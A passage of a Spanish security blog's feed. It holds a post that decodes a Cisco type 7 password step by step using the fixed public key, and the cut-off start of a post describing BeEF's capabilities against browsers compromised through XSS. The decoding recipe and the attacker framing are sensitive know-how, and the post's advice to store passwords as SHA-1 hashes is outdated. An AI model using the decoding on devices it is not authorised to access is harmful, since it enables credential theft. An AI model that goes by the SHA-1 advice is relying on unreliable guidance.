url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhDGVNx8RAP7ATCD9p_nlTBtXiB-r3Ew_EqoWxnV34w7QLC3_cVuX0M36mCyy_gBlYhLkJa19WAPXTUATqfjqhUFLaa1XtOmEF638xxahKXrND3iwGjT8efwrWrZRTAXp-YGgs6bLrfBP0B/s72-c/oauzz_logo.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-4183647877752719861</id><published>2012-03-20T07:30:00.000+01:00</published><updated>2012-03-20T07:30:00.744+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Criptografía"/><title type='text'>Cisco7 ¿encryption?</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSSq-X0DZK9dZQl49OA3JR3ZAHsQb8UbnEEii-OJZAwbev9ScJfFCmDNtNhlhiiDWTftbQok-vkqJehjF0M65Zg4SjjFtjHRgJuK740WqFM0kDposSACHH07Z-YJo2O8pDbpeRvE-Tks_j/s1600/Weakest-Link.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;150&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSSq-X0DZK9dZQl49OA3JR3ZAHsQb8UbnEEii-OJZAwbev9ScJfFCmDNtNhlhiiDWTftbQok-vkqJehjF0M65Zg4SjjFtjHRgJuK740WqFM0kDposSACHH07Z-YJo2O8pDbpeRvE-Tks_j/s200/Weakest-Link.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
De rato en rato, trato de sacar tiempo para ir desarrollando la versión 2.0 de &lt;a href=&quot;http://code.google.com/p/findmyhash/&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;findmyhash&lt;/b&gt;&lt;/a&gt;. Una de las muchas mejoras que tendrá la próxima versión es no consultar ningún servicio online para los algoritmos reversibles que soporta.&lt;br /&gt;
&lt;br /&gt;
El algoritmo del que os voy a hablar hoy es uno de los que Cisco utiliza para cifrar las contraseñas que almacena en la configuración de sus dispositivos y que se suele conocer como &lt;b&gt;Cisco 7&lt;/b&gt; porque al consultar la configuración del dispositivo se muestra algo como:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
username admin password &lt;b&gt;7&lt;/b&gt; &lt;b&gt;080d4d7604181714130e00083f2c253a&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
Donde el &#39;7&#39; indica el tipo de algoritmo utilizado.&lt;br /&gt;
&lt;br /&gt;
Cisco 7 está basado en el &lt;a href=&quot;http://es.wikipedia.org/wiki/Cifrado_de_Vigen%C3%A8re&quot; target=&quot;_blank&quot;&gt;cifrado de Vigenère&lt;/a&gt;, utilizando como clave la cadena:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
d s f d ; k f o A , . i y e w r k l d J K D H S U B s g v c a 6 9 8 3 4 n c x&lt;/div&gt;
&lt;br /&gt;
A primera vista podemos decir que es bastante robusta, por lo que alguno podría pensar que lo que se cifre con esta clave debería estar seguro. Pero recordemos que tan sólo estará seguro si no conociéramos la clave con la que se está cifrando y en este caso se utiliza la cadena anterior en TODOS los dispositivos Cisco... por lo que ahora veremos que no sirve de mucho.&lt;br /&gt;
&lt;br /&gt;
Para descifrar la contraseña, vamos a trabajar siempre en hexadecimal, por lo utilizaremos tan sólo la versión codificada de la clave:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;br /&gt;
&lt;center&gt;&lt;table&gt;&lt;tbody align=&quot;center&quot;&gt;
&lt;tr&gt;&lt;td&gt;d&lt;/td&gt;&lt;td&gt;s&lt;/td&gt;&lt;td&gt;f&lt;/td&gt;&lt;td&gt;d&lt;/td&gt;&lt;td&gt;;&lt;/td&gt;&lt;td&gt;k&lt;/td&gt;&lt;td&gt;f&lt;/td&gt;&lt;td&gt;o&lt;/td&gt;&lt;td&gt;A&lt;/td&gt;&lt;td&gt;,&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;64&lt;/td&gt;&lt;td&gt;73&lt;/td&gt;&lt;td&gt;66&lt;/td&gt;&lt;td&gt;64&lt;/td&gt;&lt;td&gt;3b&lt;/td&gt;&lt;td&gt;6b&lt;/td&gt;&lt;td&gt;66&lt;/td&gt;&lt;td&gt;6f&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;41&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;2c&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;.&lt;/td&gt;&lt;td&gt;i&lt;/td&gt;&lt;td&gt;y&lt;/td&gt;&lt;td&gt;e&lt;/td&gt;&lt;td&gt;w&lt;/td&gt;&lt;td&gt;r&lt;/td&gt;&lt;td&gt;k&lt;/td&gt;&lt;td&gt;l&lt;/td&gt;&lt;td&gt;d&lt;/td&gt;&lt;td&gt;J&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;2e&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;69&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;79&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;65&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;77&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;72&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;6b&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;6c&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;64&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;&lt;b&gt;4a&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;K&lt;/td&gt;&lt;td&gt;D&lt;/td&gt;&lt;td&gt;H&lt;/td&gt;&lt;td&gt;S&lt;/td&gt;&lt;td&gt;U&lt;/td&gt;&lt;td&gt;B&lt;/td&gt;&lt;td&gt;s&lt;/td&gt;&lt;td&gt;g&lt;/td&gt;&lt;td&gt;v&lt;/td&gt;&lt;td&gt;c&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;b&gt;&lt;span style=&quot;color: blue;&quot;&gt;4b&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;&lt;span style=&quot;color: blue;&quot;&gt;44&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;&lt;span style=&quot;color: blue;&quot;&gt;48&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;53&lt;/td&gt;&lt;td&gt;55&lt;/td&gt;&lt;td&gt;42&lt;/td&gt;&lt;td&gt;73&lt;/td&gt;&lt;td&gt;67&lt;/td&gt;&lt;td&gt;76&lt;/td&gt;&lt;td&gt;63&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;a&lt;/td&gt;&lt;td&gt;6&lt;/td&gt;&lt;td&gt;9&lt;/td&gt;&lt;td&gt;8&lt;/td&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;n&lt;/td&gt;&lt;td&gt;c&lt;/td&gt;&lt;td&gt;x&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;61&lt;/td&gt;&lt;td&gt;36&lt;/td&gt;&lt;td&gt;39&lt;/td&gt;&lt;td&gt;38&lt;/td&gt;&lt;td&gt;33&lt;/td&gt;&lt;td&gt;34&lt;/td&gt;&lt;td&gt;6e&lt;/td&gt;&lt;td&gt;63&lt;/td&gt;&lt;td&gt;78&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/center&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
La contraseña cifrada que aparecía en el ejemplo con el que empezaba el post ya está en formato&amp;nbsp;hexadecimal, así que la utilizaremos tal cual:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
08&lt;span style=&quot;color: red;&quot;&gt;&lt;b&gt;0d4d7604181714130e00083f2c253a&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
Esta contraseña se divide en dos partes, el primer byte (08) es un desplazamiento en la clave de cifrado. Es decir, en este caso vamos a obviar los 8 primeros caracteres de la clave, por lo que comenzaríamos en 412c2e69... y utilizaremos tantos caracteres como tiene la contraseña cifrada. Es decir, lo que en la tabla anterior he marcado en azul.&lt;br /&gt;
&lt;br /&gt;
La segunda parte (el resto: &lt;span style=&quot;color: red;&quot;&gt;0d4d7604181714130e00083f2c253a&lt;/span&gt;) es la contraseña cifrada. Esta parte fue calculada con un XOR entre la contraseña original y la clave de cifrado, que en nuestro caso recordamos que empieza con un desplazamiento de 8 caracteres. Es decir:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;&lt;table&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;Clave de cifrado:&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;41&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;2c&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;2e&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;69&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;79&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;65&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;77&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;72&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;6b&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;6c&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;64&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;4a&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;4b&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;44&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;48&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Contraseña original: &amp;nbsp;&amp;nbsp;&lt;/td&gt;&lt;td&gt;??&lt;/td&gt;&lt;td&gt;??&lt;/td&gt;&lt;td&gt;??&lt;/td&gt;&lt;td&gt;??&lt;/td&gt;&lt;td&gt;??&lt;/td&gt;&lt;td&gt;??&lt;/td&gt;&lt;td&gt;??&lt;/td&gt;&lt;td&gt;??&lt;/td&gt;&lt;td&gt;??&lt;/td&gt;&lt;td&gt;??&lt;/td&gt;&lt;td&gt;??&lt;/td&gt;&lt;td&gt;??&lt;/td&gt;&lt;td&gt;??&lt;/td&gt;&lt;td&gt;??&lt;/td&gt;&lt;td&gt;??&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;Contraseña cifrada:&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;0d&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;4d&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;76&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;04&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;18&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;17&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;14&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;13&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;0e&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;00&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;08&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;3f&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;2c&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;25&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;3a&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/center&gt;
&lt;br /&gt;
&lt;br /&gt;
Como la operación XOR es reversible, nos basta con calcular el XOR entre la misma clave que se utilizó y la contraseña cifrada para obtener la contraseña en texto claro:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;center&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;Clave de cifrado:&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;41&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;2c&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;2e&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;69&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;79&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;65&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;77&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;72&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;6b&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;6c&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;64&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;4a&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;4b&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;44&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: blue;&quot;&gt;48&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;Contraseña cifrada:&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;0d&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;4d&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;76&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;04&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;18&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;17&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;14&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;13&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;0e&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;00&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;08&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;3f&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;2c&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;25&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;span style=&quot;color: red;&quot;&gt;3a&lt;/span&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;td&gt;--&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;span style=&quot;color: green;&quot;&gt;Contraseña original: &amp;nbsp;&lt;/span&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;&lt;span style=&quot;color: green;&quot;&gt;4C&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;&lt;span style=&quot;color: green;&quot;&gt;61&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;&lt;span style=&quot;color: green;&quot;&gt;58&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;&lt;span style=&quot;color: green;&quot;&gt;6D&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;&lt;span style=&quot;color: green;&quot;&gt;61&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;&lt;span style=&quot;color: green;&quot;&gt;72&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;&lt;span style=&quot;color: green;&quot;&gt;63&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;&lt;span style=&quot;color: green;&quot;&gt;61&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;&lt;span style=&quot;color: green;&quot;&gt;65&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;&lt;span style=&quot;color: green;&quot;&gt;6C&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;&lt;span style=&quot;color: green;&quot;&gt;6C&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;&lt;span style=&quot;color: green;&quot;&gt;75&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;&lt;span style=&quot;color: green;&quot;&gt;67&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;&lt;span style=&quot;color: green;&quot;&gt;61&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;td&gt;&lt;b&gt;&lt;span style=&quot;color: green;&quot;&gt;72&lt;/span&gt;&lt;/b&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;/center&gt;
&lt;br /&gt;
&lt;br /&gt;
Que se corresponde con la cadena:&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;color: green;&quot;&gt;LaXmarcaellugar&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
Como veis, aunque la contraseña se almacena cifrada, no sirve de mucho si el algoritmo que se utiliza es reversible y la clave de cifrado conocida.&lt;br /&gt;
&lt;br /&gt;
Ésta es la principal razón por la cual &lt;b&gt;nunca se debe almacenar una contraseña cifrada &lt;/b&gt;(y mucho menos en texto claro...). En su lugar se debe almacenar el hash de la contraseña, utilizando alguna función como SHA-1 y tratando de evitar el uso del MD5, que se considera débil desde hace muchos años.&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/03/cisco7-encryption.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/4183647877752719861'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/4183647877752719861'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2012/03/cisco7-encryption.html' title='Cisco7 ¿encryption?'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/18156762137537807567</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSSq-X0DZK9dZQl49OA3JR3ZAHsQb8UbnEEii-OJZAwbev9ScJfFCmDNtNhlhiiDWTftbQok-vkqJehjF0M65Zg4SjjFtjHRgJuK740WqFM0kDposSACHH07Z-YJo2O8pDbpeRvE-Tks_j/s72-c/Weakest-Link.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-7928386538794520252</id><published>2012-02-28T07:00:00.000+01:00</published><updated>2012-02-28T07:13:09.590+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Seguridad Web"/><title type='text'>Client Side Attacks (III): Sacando Provecho</title><content type='html'>&lt;div style=&quot;text-align: -webkit-auto;&quot;&gt;
&lt;pre&gt;  ****************************************************
    &lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2012/01/client-side-attacks-i-introduccion.html&quot; target=&quot;_blank&quot;&gt;Client Side Attacks (I): Introducción&lt;/a&gt;
&lt;b&gt;    &lt;/b&gt;&lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2012/02/client-side-attacks-ii-infectando.html&quot; target=&quot;_blank&quot;&gt;Client Side Attacks (II): Infectando Navegadores&lt;/a&gt;
    &lt;b&gt;&lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2012/02/client-side-attacks-iii-sacando.html&quot; target=&quot;_blank&quot;&gt;Client Side Attacks (III): Sacando provecho&lt;/a&gt;&lt;/b&gt;
    Client Side Attacks (IV): Otros ataques
  ****************************************************&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcgSYJdTUW8oonzFxkSwzgGrj2UWotambU_vzpFhScJq-cDmJqH8mAPWCUAU3kQRgnkPhzmacLjoS3lOEbmzCGzMn5TMRFys6NnxBWZAyKJF_zpbFp9dfSxhiE4mOuLCVbWeflOSDH7wqX/s1600/computer_on_internet_2.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;200&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcgSYJdTUW8oonzFxkSwzgGrj2UWotambU_vzpFhScJq-cDmJqH8mAPWCUAU3kQRgnkPhzmacLjoS3lOEbmzCGzMn5TMRFys6NnxBWZAyKJF_zpbFp9dfSxhiE4mOuLCVbWeflOSDH7wqX/s200/computer_on_internet_2.png&quot; width=&quot;191&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
En las con entradas anteriores hemos visto &lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2012/01/client-side-attacks-i-introduccion.html&quot; target=&quot;_blank&quot;&gt;en qué consisten los ataques del lado del cliente&lt;/a&gt;&amp;nbsp;y &lt;a href=&quot;http://laxmarcaellugar.blogspot.com/2012/02/client-side-attacks-ii-infectando.html&quot; target=&quot;_blank&quot;&gt;cómo hacernos con el control de los navegadores&lt;/a&gt; de nuestras víctimas. Ahora es el turno de ver cómo sacar provecho de estos navegadores una vez están bajo nuestro control.&lt;br /&gt;
&lt;br /&gt;
Como ya dijimos también, el Cross Site Scripting (XSS) es el rey de los ataques del lado del cliente. Por ello voy a comenzar por él, continuando con el Cross Site Request Forgery (CSRF ó XSRF) y dejando otros ataques para la última entrada de la serie.&lt;br /&gt;
&lt;br /&gt;
Uno de los problemas de explotar un XSS es que el exploit hay que programarlo en Javascript, que es un lenguaje que puede resultar un tanto desagradable para aquellos que no están acostumbrados a trabajar con él. Por suerte, del mismo modo que existe Metasploit para la explotación de (prácticamente todos los tipos de) exploits; para la explotación de XSS está&amp;nbsp;&lt;a href=&quot;http://beefproject.com/&quot; style=&quot;font-weight: bold;&quot; target=&quot;_blank&quot;&gt;BeEF&lt;/a&gt;,&amp;nbsp;un&amp;nbsp;potente framework que nos ofrece multitud de&amp;nbsp;distintas&amp;nbsp;posibilidades.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;The Browser Exploitation Framework (BeEF)&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
El objetivo de esta entrada no es describir en profundidad esta herramienta, ya que ello me podría llevar varias entradas. Tan sólo voy a resumiros algunas de las posibilidades que ofrece y que, personalmente, considero de las más interesantes para nuestro propósito de hoy.&lt;br /&gt;
&lt;br /&gt;
Partiendo de la hipótesis de que hubiéramos conseguido &quot;infectar&quot; a una serie de víctimas por medio de un Cross Site Scripting y dependiendo del navegador que éstas utilicen, BeEF nos permite:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Obtener información&lt;/b&gt;&amp;nbsp;como la versión del sistema operativo y del navegador que utilizan los usuarios, además de los diferentes plugins que puedan tener instalados.&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Modificar&amp;nbsp;parte o todo el contenido del sitio web&amp;nbsp;&lt;/b&gt;&amp;nbsp;&lt;i&gt;(&lt;a href=&quot;http://en.wikipedia.org/wiki/Website_defacement&quot; target=&quot;_blank&quot;&gt;Website Defacement&lt;/a&gt;)&amp;nbsp;&lt;/i&gt;por el que la víctima está &amp;nbsp;navegando y que se corresponde con el sitio en donde hemos conseguido explotar el XSS.&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt;&lt;b&gt;Analizar el sitio en busca de otras vulnerabilidades&lt;/b&gt;&amp;nbsp;como inyecciones de código SQL o Cross Site Request Forgery (XSRF).&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
